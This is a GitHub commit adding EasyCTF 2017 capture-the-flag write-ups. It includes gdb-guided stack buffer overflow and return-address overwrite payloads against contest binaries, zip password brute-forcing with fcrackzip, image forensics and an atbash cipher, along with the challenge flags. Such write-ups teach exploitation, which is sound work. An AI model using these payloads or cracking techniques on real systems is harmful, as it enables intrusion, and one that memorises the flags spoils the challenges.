Skip to content

Commit 1fc96a0

Browse files
committed
2 parents 0e792f7 + be1fb17 commit 1fc96a0

12 files changed

+243
-9
lines changed

SUMMARY.md

+4
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,11 @@
22

33
* [Introduction](README.md)
44
* [Binary Exploitation](/binary-exploitation.md)
5+
* [Doubly Dangerous \[110 points\]](/binary-exploitation/doubly-dangerous-110-points.md)
6+
* [Simple ROP \[120 points\]](/binary-exploitation/simple-rop-120-points.md)
57
* [Heaps of Knowledge \[420 points\]](/binary-exploitation/heaps-of-knowledge-420-points.md)
68
* [Cryptography](cryptography.md)
9+
* [Flip My Letters \[20 points\]](/cryptography/flip-my-letters-20-points.md)
710
* [RSA 1 \[50 points\]](/cryptography/rsa-1-50-points.md)
811
* [Hash on Hash \[100 points\]](/cryptography/hash-on-hash-100-points.md)
912
* [Security Through Obscurity \[150 points\]](/cryptography/security-through-obscurity-150-points.md)
@@ -16,6 +19,7 @@
1619
* [Mane Event \[50 points\]](/forensics/mane-event-50-points.md)
1720
* [Petty Difference \[75 points\]](/forensics/petty-difference-75-points.md)
1821
* [Flag PEG \[150 points\]](/forensics/flag-peg-150-points.md)
22+
* [Finn \[200 points\]](/forensics/finn-200-points.md)
1923
* [Serial \[300 points\]](/forensics/serial-300-points.md)
2024
* [Decomphose \[325 points\]](/forensics/decomphose-325-points.md)
2125
* [QR 2 \[330 points\]](/forensics/qr2-330-points.md)

binary-exploitation.md

+2-2
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,8 @@
33
This category focuses on exploiting vulnerabilities in "binaries", or compiled programs, such as buffer overflow attacks, return-oriented programming, etc. The binary exploitation challenges this year include:
44

55
* Risky Business \[100 points\]
6-
* Doubly Dangerous \[110 points\]
7-
* Simple ROP \[120 points\]
6+
* [Doubly Dangerous \[110 points\]](/binary-exploitation/doubly-dangerous-110-points.md)
7+
* [Simple ROP \[120 points\]](/binary-exploitation/simple-rop-120-points.md)
88
* [Heaps of Knowledge \[420 points\]](/binary-exploitation/heaps-of-knowledge-420-points.md)
99

1010

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
# Doubly Dangerous - 110 Points
2+
3+
There seems to be an issue with [this](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/doubly-dangerous/doubly_dangerous?raw=true) binary. Can you exploit it?
4+
5+
### Solution
6+
7+
###### Writeup by VoidMercy from phsst
8+
9+
We were given a binary.
10+
11+
We first run it to see what it does
12+
13+
```
14+
Give me a string:
15+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
16+
nope!
17+
Segmentation fault
18+
```
19+
20+
Seems like a buffer overflow because there was a segmentation fault. This means gets() was probably used, and gets() does not care about the length of the string we input. Now let's take a look at the code in gdb with
21+
22+
```
23+
gdb doubly_dangerous
24+
set disassembly-flavor intel
25+
disas main
26+
```
27+
28+
Here is the interesting instruction:
29+
30+
```
31+
0x0804863c <+53>: fld DWORD PTR [ebp-0xc]
32+
0x0804863f <+56>: fld DWORD PTR ds:0x804876c
33+
0x08048645 <+62>: fucomip st,st(1)
34+
```
35+
36+
We can see that fucomip is being used, which is floating point instructions. We surmise that we need to make this compare return true. We can see that the value at 0x804876c is being compared to the value at ebp-0xc. Because we saw a segmentation fault, we know this consists of an overflow. We experiment with the amount of bytes to type until the value at ebp-0xc is overflowed.
37+
38+
```
39+
python -c "print 'A'*69" > temp
40+
41+
(gdb) r < temp
42+
...
43+
Breakpoint 1, 0x08048686 in main ()
44+
(gdb) x/10wx $ebp-0xc
45+
0xffffd0dc: 0x41414141 0xf7fc0041 0xffffd100 0x00000000
46+
0xffffd0ec: 0xf7e31a83 0x08048690 0x00000000 0x00000000
47+
0xffffd0fc: 0xf7e31a83 0x00000001
48+
```
49+
50+
Alright, we can see that 69 characters overflows the content at ebp-0xc and 1 extra character. This means we need 64 characters to get the ebp-0xc, and then with the next four characters, we can control what value to place in $ebp-0xc. Now, we need to check what value to replace it with.
51+
52+
```
53+
(gdb) x/10wx 0x804876c
54+
0x804876c: 0x41348000 0x3b031b01 0x00000030 0x00000005
55+
0x804877c: 0xfffffc60 0x0000004c 0xfffffe0b 0x00000070
56+
0x804878c: 0xfffffe97 0x00000090
57+
```
58+
59+
We can see the value we need is 0x41348000. Now we can construct our exploit.
60+
61+
```
62+
python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous
63+
```
64+
65+
```
66+
python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous
67+
Give me a string:
68+
Success! Here is your flag:
69+
easyctf{bofs_and_floats_are_d0uble_tr0uble!}
70+
```
71+
72+
## Flag
73+
74+
>easyctf{bofs_and_floats_are_d0uble_tr0uble!}

binary-exploitation/heaps-of-knowledge-420-points.md

+1
Original file line numberDiff line numberDiff line change
@@ -58,5 +58,6 @@ Oh look it worked! Running it against the EasyCTF server nets us the flag:
5858

5959
* [https://github.com/VulnHub/ctf-writeups/blob/master/2017/easyctf/heaps-of-knowledge.md](https://github.com/VulnHub/ctf-writeups/blob/master/2017/easyctf/heaps-of-knowledge.md)
6060

61+
* [https://github.com/VoidMercy/EasyCTF-Writeups-2017/tree/master/binexploit/Heaps-of-Knowledge](https://github.com/VoidMercy/EasyCTF-Writeups-2017/tree/master/binexploit/Heaps-of-Knowledge)
6162

6263

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Simple ROP - 120 Points
2+
3+
Read flag.txt
4+
5+
[Source](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/simple-rop/simple-rop.c)
6+
7+
[Binary](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/simple-rop/simple-rop?raw=true)
8+
9+
### Solution
10+
11+
###### Writeup by VoidMercy from phsst
12+
13+
We were given a binary and it's source code.
14+
15+
```
16+
#define _GNU_SOURCE
17+
#include <stdio.h>
18+
#include <stdlib.h>
19+
#include <sys/types.h>
20+
21+
void print_flag();
22+
void what_did_you_say();
23+
24+
int main(int argc, char* argv[])
25+
{
26+
gid_t gid = getegid();
27+
setresgid(gid, gid, gid);
28+
what_did_you_say();
29+
return 0;
30+
}
31+
32+
void print_flag()
33+
{
34+
system("cat flag.txt");
35+
}
36+
37+
void what_did_you_say()
38+
{
39+
char buff[64];
40+
gets(buff);
41+
printf("You said: %s\n", buff);
42+
}
43+
```
44+
45+
As the problem name suggests, this is a problem that uses ROP. We can see that we have to call the function print_flag() to get the flag, so we first get the address of this function with:
46+
47+
>objdump -d simplerop | grep "print_flag"
48+
49+
We find the address of print_flag to be: 0x804851a
50+
51+
Then, we have to find out the number of characters until we gain control of eip through the return address. Afterwards we append the address of print_flag() in little endian order (reversed order in chunks of 2 bytes), then pipe the input through python (to print the non printable ascii characters).
52+
53+
```
54+
python -c 'print "A"*64+"\x1a\x85\x04\x08"' | ./simple-rop #NO SEG FAULT, NOT ENOUGH CHARACTERS
55+
56+
python -c 'print "A"*76+"\x1a\x85\x04\x08"' | ./simple-rop #GOT THE FLAG! 76 IS A PRETTY COMMON SIZE FOR AN ARRAY OF 64 CHARS
57+
```
58+
59+
## Flag
60+
61+
>easyctf{r0p_7o_v1ct0ry}

cryptography.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
This category focuses on using advanced mathematical topics to encrypt data to prevent it from being intercepted/tampered with. Cryptography has many practical applications from HTTPS to cryptocurrency. The cryptography challenges in this contest include:
44

55
* Clear and Concise Commentary on Caesar Cipher \[20 points\]
6-
* Flip My Letters \[20 points\]
6+
* [Flip My Letters \[20 points\]](/cryptography/flip-my-letters-20-points.md)
77
* [RSA 1 \[50 points\]](/cryptography/rsa-1-50-points.md)
88
* Let Me Be Frank \[75 points\]
99
* RSA 2 \[80 points\]
+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# Flip My Letters - 20 points
2+
3+
I dropped my alphabet on its head, can you help me reassemble it?
4+
```
5+
easyctf{r_wlmg_vevm_mvvw_zm_zhxrr_gzyov}
6+
```
7+
8+
### Solution
9+
10+
The hint suggests that it's a substitution cipher, where the key is the alphabet in reverse.
11+
It is easy to test the idea using the [tr](https://en.wikipedia.org/wiki/Tr_%28Unix%29) Unix command.
12+
Sure enough, it works.
13+
14+
```
15+
$ echo "r_wlmg_vevm_mvvw_zm_zhxrr_gzyov" | tr abcdefghijklmnopqrstuvwxyz zyxwvutsrqponmlkjihgfedcba
16+
i_dont_even_need_an_ascii_table
17+
```
18+
19+
Flag:
20+
```
21+
easyctf{i_dont_even_need_an_ascii_table}
22+
```
23+
24+
### External Writeups

forensics.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ This category refers to the recovery of information from evidence, like extracti
1414
* My USB [\[150 points\]](/forensics/my-usb-150-points.md)
1515
* [Flag PEG \[150 points\]](/forensics/flag-peg-150-points.md)
1616
* ZIP Tunnel \[160 points\]
17-
* Finn \[200 points\]
17+
* [Finn \[200 points\]](/forensics/finn-200-points.md)
1818
* Kittycat \[290 points\]
1919
* [Serial \[300 points\]](/forensics/serial-300-points.md)
2020
* [Decomphose \[325 points\]](/forensics/decomphose-325-points.md)

forensics/bizarro-400-points.md

+5-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,10 @@
11
# Bizarro - 400 Points
22

3-
#### phsst - VoidMercy's writeup
3+
Something seems very strange about [this](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/bizarro/crpt.png) strange looking image. Check it out?
4+
5+
### Solution
6+
7+
###### Writeup by VoidMercy from phsst
48

59
We were given an image.
610

forensics/finn-200-points.md

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# Finn - 200 points
2+
3+
The Resistance intercepted this suspicious [picture](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/finn/finn.jpg?raw=true) of Finn's old stormtrooper helmet, sent by General Hux to Kylo Ren. Hux isn't exactly Finn's biggest fan. What could he be hiding? Good luck!
4+
5+
If you get stuck, We also have [this](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/finn/help.txt?raw=true) blob of sarcasm, which may or may not be useful in your quest. Worth a shot right?.
6+
7+
### Solution
8+
##### Writeup by Alaska47 from phsst
9+
10+
We are given a jpg. Looking at the first part of the hint, we know that we have to `binwalk` the file. Running `binwalk -e finn.jpg` gives us what we need.
11+
12+
After we binwalk it, we see that there is a zip file protected by a password. Although the hint says that the password refers to the problem statement, I just used brute force using the `fcrackzip` tool. Running `fcrackzip -v -m zip2 -l 1-8 -u AD3E.zip` gives us the password to the zip file: `2187`.
13+
14+
After extracting the zip file, we see two "identical" images. The hint says we should find the difference in the images. Imagemagick's `compare` tool should do the trick. Running `compare kylo1.png kylo2.png diff.png` gives us a new file which contains a QR code.
15+
16+
![](https://github.com/VoidMercy/EasyCTF-Writeups-2017/blob/master/forensics/Finn/small_diff.png?raw=true)
17+
18+
Scanning the QR code using any online scanner gives us some text:
19+
20+
`\x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72\x3c\x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f`
21+
22+
The next part of the hint tells us to look more closely at the difference in the two images. After manually comparing the differences in the pixels, it looks like some of the pixels diffeerentiate by more than 1. Starting at (144, 533) in the image, we find a string of pixels which have differences ranging from 5-8 for about ~30 pixels in the x-direction.
23+
24+
![](https://github.com/VoidMercy/EasyCTF-Writeups-2017/blob/master/forensics/Finn/subs.png?raw=true)
25+
26+
After seeing the hex bytes extracted from the QR code, I started to think that the encryption refered to by the hint was XOR encryption. This meant that the message and the key needed to have the same size. Starting at (144, 533), I extracted the differences in the next 26 pixels.
27+
28+
```python
29+
from PIL import Image
30+
31+
f = Image.open("kylo1.png").convert("RGB")
32+
g = Image.open("kylo2.png").convert("RGB")
33+
34+
diffs = []
35+
36+
for x in range(f.size[0]):
37+
for y in range(f.size[1]):
38+
pix1 = f.getpixel((x,y))
39+
pix2 = g.getpixel((x,y))
40+
sub = (abs(pix2[0]-pix1[0]),abs(pix2[1]-pix1[1]),abs(pix2[2]-pix1[2]))
41+
if(sub != (0,0,0) and sub != (1,1,1)):
42+
print((x,y))
43+
diffs.append(sub[0])
44+
print(diffs)
45+
46+
gu = []
47+
for x in range(144, 144+26):
48+
pix1 = f.getpixel((x,533))
49+
pix2 = g.getpixel((x,533))
50+
gg = abs(pix2[0]-pix1[0])
51+
gu.append(str(gg))
52+
print("".join(gu))
53+
```
54+
55+
This script outputs `54745270485860306291136282`.
56+
57+
Armed with a message and the key, I simply used an online XOR tool to XOR `636866637e7173347657723c74735c31755d6b32347759384c7f` and `0504070405020700040805080600030006020901010306020802`. Doing so gives us another hex string, `666c61677b737434725f773472735f31735f623335745f3a447d`, which can be converted to text to reveal the flag.
58+
59+
## Flag
60+
>easyctf{st4r_w4rs_1s_b35t_:D}

forensics/flag-peg-150-points.md

+5-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,10 @@
11
# Flag PEG - 150 Points
22

3-
#### phsst - VoidMercy's writeup
3+
We found a flag but it didn't do anything. Maybe you can find a better [flag](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/flag-peg/heresaflag.jpg)?
4+
5+
### Solution
6+
7+
###### Writeup by VoidMercy from phsst
48

59
We were given a .jpg file.
610

forensics/qr2-330-points.md

+5-3
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
1-
#QR2 - 330 points
1+
# QR2 - 330 points
22

3-
#### phsst - VoidMercy's writeup
3+
When I am not practicing my [Oboe](https://en.wikipedia.org/wiki/Oboe) for band, I have been working on a QR code generator. For some reason, some of the images are not scannable. [Here](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/qr-2/qr2.bmp) is one, can you tell me what it says?
44

5-
We were given a broken QR code.
5+
### Solution
6+
7+
###### Writeup by VoidMercy from phsst
68

79
The problem mentioned that this problem is related to "OBOE" somehow. We search this up and find that OBOE can also stand for off by one error. We surmised that the off by one refers to the mask of the QR code, so we manually changed the mask of the QR code to see if it would decode. Sadly, none of the masks work. (See wikipedia for more information on masks).
810

0 commit comments

Comments
 (0)